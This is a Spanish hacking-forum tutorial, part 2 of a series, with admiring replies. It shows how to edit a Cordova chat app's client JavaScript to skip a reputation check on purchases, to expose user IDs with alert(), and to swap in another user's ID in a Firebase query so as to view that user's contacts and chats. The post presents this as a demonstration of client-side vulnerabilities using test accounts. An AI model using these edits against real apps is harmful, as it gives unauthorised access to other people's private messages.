comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

No le des poder al cliente (Parte 2)

  • 4 Respuestas
  • 814 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 30
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
« en: Junio 10, 2018, 07:22:12 pm »


Si es el primer post que lees de "No le des poder al cliente", te invito a ver la primera parte clickeando You are not allowed to view links. Register or Login



Antes de empezar, quería comentarles un detalle que se me pasó:

Al editar los archivos de la plataforma en la aplicación de Cordova, deben acordarse de editarlos en la carpeta "www" principal. Sinó, cuando vuelvan a ejecutar la plataforma, se van a cargar nuevamente los archivos sin tocar. Esto significa que por cada modificación que hagan, deben cerrar el servidor interno y volver a iniciarlo para que se carguen las modificaciones.




En el anterior post, como han visto, la cuenta de prueba fue baneada y "liberada" abusandonós del código del cliente, para así seguir utilizandola (Algo así como un bypass al cliente estando baneados en el servidor). En este post, vamos a ver que podemos hacer con el sector de compras y contactos.



I - Compras limitadas:

Esta vez, vamos a abusarnos de algo un poco mas interesante... ¿Como funciona el sistema de chat? ¿Y los contactos? Vamos a probarlo con dos cuentas, "TestU1" y "TestU2", ambas son cuentas nuevas y se van a agregar como contactos, pero con las siguientes características:

  • Ambas cuentas no tienen foto de perfil.

  • "TestU1" tiene una descripción que dice: "Soy una cuenta de test U1". Y "TestU2" dice: "Soy una cuenta de test U2".




¿Vamos a iniciar un chat entre ambos contactos?

Para poder comprar el item especial para elegir al usuario al que me quiero dirigir, necesito tener una reputación de 50, la cual no tengo... ¿Editamos?


(Como se puede apreciar en la imagen, no nos deja comprar el item por falta de reputación)



¿Buscamos el item o algún elemento mas en concreto?

Buscar el cartel, es una opción, pero podría tomarnos un poco mas de tiempo. ¿y si buscamos la imagen del "vendedor" de items?


Y efectivamente, después de buscar con paciencia, encontramos lo que queríamos en el archivo "15.js":

(Como se puede apreciar, solo se muestra el fragmento de código que nos interesa modificar)

Código: Javascript
  1. l.prototype.showBuyItem = function(l) {
  2.                     var n = this;
  3.                     if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) { //Si el objeto se puede comprar multiples veces
  4.                         if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3); //Si mi reputación es mas baja de la que requiere el objeto, me muestra el cartel de que no tengo la reputación suficiente para comprarlo
  5.                         else if (void 0 == l.cost) { //De lo contrario, lo compra!
  6.                             var e = this.modalCtrl.create("BuyitemPage", {
  7.                                 item: l
  8.                             }, {
  9.                                 cssClass: "smallModal"
  10.                             });
  11.                             e.present(), e.onDidDismiss(function(l) {
  12.                                 "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
  13.                                     n.goSlider(2)
  14.                                 }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
  15.                             })
  16.                         }
  17.                     } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
  18.                 }
  19.  
(El fragmento de código se encuentra obviamente censurado, pero sin haberle quitado su funcionamiento)



Así que si editamos el código, basandonós en los datos anteriores, deberíamos comprar objetos aunque nuestra reputación sea baja:

Código: Javascript
  1. l.prototype.showBuyItem = function(l) {
  2.                     var n = this;
  3.                     if (l.isConsumable || !this.userinfo.myInfo.items.hasOwnProperty(l.name)) {
  4.                         /*if (l.reputation > this.userinfo.myInfo.reputation) this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Reputación insuficiente', "whiteError", 3e3);
  5.                         else*/ if (void 0 == l.cost) {
  6.                             var e = this.modalCtrl.create("BuyitemPage", {
  7.                                 item: l
  8.                             }, {
  9.                                 cssClass: "smallModal"
  10.                             });
  11.                             e.present(), e.onDidDismiss(function(l) {
  12.                                 "noMoney" == l ? (n.displayToast("fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto!' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>No tienes el suficiente dinero para comprar este objeto', "whiteError", 3e3), setTimeout(function() {
  13.                                     n.goSlider(2)
  14.                                 }, 400)) : l && n.displayToast(l.isConsumable ? "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_fr + " +" + l.nb_use + "</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter7">Ahora tienes un objeto nuevo en tu inventario</div><div class="greenish">' + l.name_en + " +" + l.nb_use + "</div>" : "fr" == n.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Ahora tienes un objeto nuevo en tu inventario</div><br><div class="greenish">' + l.name_fr + " acheté</div>" : '<div><img width="30" src="assets/img/XXXXXX.png"></div><div class="lighter57">Good deal you just got here</div><br><div class="greenish">' + l.name_en + " added</div>", "whiteToast", 3e3)
  15.                             })
  16.                         }
  17.                     } else this.displayToast("fr" == this.userinfo.myInfo.language ? '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto' : '<div><img width="30" src="assets/img/XXXXXX.png"></div>Ya posees este objeto', "whiteToast", 3e3)
  18.                 }
  19.  



Y listo, ya compramos el objeto que queríamos:





Buscamos al otro usuario (Prueba de funcionamiento):





Y efectivamente, el objeto funciona. Iniciamos un chat con el otro usuario de prueba para ver si todo está correcto:



Y todo es correcto! Ya estamos preparados para comenzar con la parte interesante...






II - Contactos de los otros usuarios y mensajes falsos:



¿Como funciona el sistema de contactos? Sería muy interesante echarle un ojo al código... Busquemos la palabra clave en los "js":





Encontramos algo interesante en el archivo "2.js" el mismo que editamos en el post anterior:


Código: Javascript
  1. e.prototype.checkFriendsPhoto = function() { //Chequear foto de perfil de los amigos
  2.                 if (!this.isCheckedFriendsPhoto) { //Si no se chequeó la foto
  3.                     this.isCheckedFriendsPhoto = !0;//¿Decimos que se chequea ahora?
  4.                     for (var e = 0; e < this.myContacts.length; e++){ //Por el largo de la cantidad de contactos, uno por uno voy
  5.                         void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo), //Actualizando la foto de perfil buscandolá por el uid del contacto
  6.                     }
  7.                 }
  8.  

Aparece por primera vez, la lista de contactos! Que está en una base de datos, obviamente... Así que, que tal si ¿obtenemos los "uid" (User ID) de nuestros usuarios?:

Código: Javascript
  1. e.prototype.checkFriendsPhoto = function() {
  2.                 if (!this.isCheckedFriendsPhoto) {
  3.                     this.isCheckedFriendsPhoto = !0;
  4.                     for (var e = 0; e < this.myContacts.length; e++){
  5.                         void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
  6.                         alert(this.myContacts[e].uid) //Mostramos el "uid" con un simple alert por cada amigo que tenemos...
  7.                     }
  8.                 }
  9.  


Ahora, sabemos que el uid de la cuenta "TestU2"! Pero si vamos mas abajo del código, también hay una linea que nos habla de nuestro id:

Código: Javascript
  1. e.prototype.resetUserPhoto = function(e, n) {
  2.                 ee.database().ref("users/" + this.myUid + "/contacts/" + e).update({
  3.                     photo: ""
  4.                 })
  5.  

Asi que, volvemos a editar la función "checkFriendsPhoto" y al final de todo, antes de que termine la función, agregamos lo siguiente:

Código: Javascript
  1. alert(this.myUid),
  2.  

Como resultado, esto nos va a mostrar primero el "User ID" del contacto, y al final, el nuestro:





Ahora que sabemos los User ID, ¿que bellas atrocidades podemos hacer en la APP? ¿Podríamos ver los usuarios que tiene agregado el otro usuario? Según este fragmento de código, creo que es probable:



Código: Javascript
  1. n = this;
  2. var t = this.db.list("/users/" + this.myUid + "/contacts", function(n)
  3.                     return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
  4.                 }).valueChanges();
  5.                 this.myContactsWatcher = t.subscribe(function(t) {
  6.                     n.isLoadedFriends = !0, null != t ? (n.zone.run(function() {
  7.                         n.myContacts = t.reverse()
  8.                     }), n.checkFriendsPhoto(), n.loadMongoFavorite()) : n.myContacts = [], n.myContacts.length >= e.limitFriendsDisplay && n.zone.run(function() {
  9.                         n.canLoadMoreContact = !0
  10.                     })
  11.                 });
  12.  

Vamos a tener que usar un 3er usuario, así que, entra en juego un TestU3, que se ahora es amigo de TestU2:



¿Probamos lo que teníamos pensando? El código modificado lo cargamos desde TestU1, que es quien quiere ver los usuarios de TestU2:

  • Anotamos los ID:
        - TestU1: myUid (No es necesario)
        - TestU2: uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2
        - TestU3: PEHTHBPlINOPSDyhUSr7ITvASaT2


  • Modificamos el código:

Código: Javascript
  1.  
  2. /*
  3. El código actual no es multiuso, solo está diseñado para ser utilizado como ejemplo...
  4. Se puede mejorar, obviamente, pero el código es meramente simple y tosco para que
  5. puedan observar sin complicaciones el funcionamiento ;)
  6. */
  7.  
  8. n = this;
  9. var TestU2 = "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2";
  10.  
  11. if (myUid == "uJ4zv4tL2bVgBzkbW8XSJBMhYvJ2"){
  12.     var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {
  13.         return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
  14.         }).valueChanges();
  15. } else {
  16.     var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {
  17.        return n.orderByChild("last_date").limitToLast(e.limitFriendsDisplay)
  18.        }).valueChanges();
  19. }
  20.  

Y funcionó:



¿Podremos mandar mensajes? Si, pero no funciona de manera ideal... Bueno, algo es algo ¿no? Lo importante es que podemos acceder a los contactos del otro usuario y tener completo acceso a sus mensajes!




III - ¿Que pasó?


Lo que sucedió, en los pasos previos, fue que en el código, cargabamos los contactos, a partir de un "uid". Este "uid" es el "nombre" de usuario que nosotros y los demás tienen en el servidor. Este nombre de usuario tiene una carpeta propia y en una sub, los contactos agregados:


Código: Javascript
  1. var t = this.db.list("/users/" + this.myUid + "/contacts", function(n) {


 
El problema es que nosotros en vez de cargar nuestro uid al momento de ver los contactos en el chat, cargamos el uid del usuario al cual queremos "hackear":

Código: Javascript
  1. var t = this.db.list("/users/" + TestU2 + "/contacts", function(n) {


Y como resultado, podemos ver los contactos de la otra persona, y por consecuencia, también sus chats. (Aunque no deberíamos ver los chats, sucede por algún bug)


El problema inicial, que lleva a la confusión es que no podíamos obtener los "uid" directamente, sinó que debíamos extraerlos de un código que los exponga facilmente:

Código: Javascript
  1. void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(this.myContacts[e].uid, this.myContacts[e].photo),
  2. alert(this.myContacts[e].uid)

Código: Javascript
  1. /*void 0 != this.myContacts[e].photo && "data:image" == this.myContacts[e].photo.substring(0, 10) && this.resetUserPhoto(*/this.myContacts[e].uid/*, this.myContacts[e].photo),*/
  2. alert(this.myContacts[e].uid)

Y a manopla los ibamos anotando para cargarlos...



Podríamos mejorar editando aún mas el código y mostrando un caso real con un usuario real, pero como mi propósito es demostrar lo que puede suceder, no nos vamos a adentrar.




Como pueden ver, al igual que el anterior post, nos encontramos "servido en bandeja" el código de la aplicación, (en donde por culpa de haber dejado el mecanismo del lado del cliente), con un poco de conocimiento, paciencia y curiosidad, podemos destrozar el trabajo arduo de los que hicieron la aplicación. Saquen sus propias conclusiones y los espero en la parte 3.



Saludos, y les deseo una buena semana... NERV0
« Última modificación: Junio 10, 2018, 11:46:43 pm por NERV0 »
“Wir müssen uns immer verändern, erneuern, verjüngen; sonst verhärten wir” ~ Johann Wolfgang von Goethe

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 868
  • Actividad:
    6.67%
  • Reputación 15
    • Ver Perfil
    • Email
« Respuesta #1 en: Junio 11, 2018, 02:23:55 pm »
Segunda parte, no menos en la categoría de excelencia.

Explicativo, ameno y detallista. Todo un trabajo pormenorizado que da gusto leer.

Gracias por tu aporte, y esperamos la tercera parte.

+ 1

Saludos

Gabriela

Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 30
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
« Respuesta #2 en: Junio 11, 2018, 11:10:31 pm »
Gracias @You are not allowed to view links. Register or Login ! Espero para la próxima poder hacer algunos gifs y explicar un montón de cosas en detalle, para así dar un cierre al tema y no desviarme. (Ya que esto no es una demostración de hacking, sinó de vulnerabilidades).

Slaudos y buena semana, NERV0.
“Wir müssen uns immer verändern, erneuern, verjüngen; sonst verhärten wir” ~ Johann Wolfgang von Goethe

Desconectado rollth

  • *
  • Underc0der
  • Mensajes: 875
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #3 en: Junio 12, 2018, 03:30:56 am »
Estoy con Gabriela, un trabajo que es simplemente explendido.
Una lectura aconsejada para todos y ya estoy esperando la tercera parte.
Te doy +1 en Karma

Saludos.

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado NERV0

  • *
  • Underc0der
  • Mensajes: 30
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
« Respuesta #4 en: Junio 13, 2018, 12:24:04 pm »
Gracias @You are not allowed to view links. Register or Login ! Prometo una 3ra parte mucho mejor que la anterior y esta!

Un saludo y buena semana, NERV0.
“Wir müssen uns immer verändern, erneuern, verjüngen; sonst verhärten wir” ~ Johann Wolfgang von Goethe

 

¿Te gustó el post? COMPARTILO!



WebShells [Conoce acerca de ellas] || Parte 1

Iniciado por Mortal_Poison

Respuestas: 1
Vistas: 782
Último mensaje Marzo 12, 2018, 08:52:04 pm
por KiddArabic
Avanzando con las XSS's [PARTE 2]

Iniciado por rollth

Respuestas: 3
Vistas: 930
Último mensaje Marzo 22, 2018, 02:13:48 pm
por rollth
No le des poder al cliente (Parte 1)

Iniciado por NERV0

Respuestas: 4
Vistas: 823
Último mensaje Mayo 28, 2018, 01:53:20 pm
por NERV0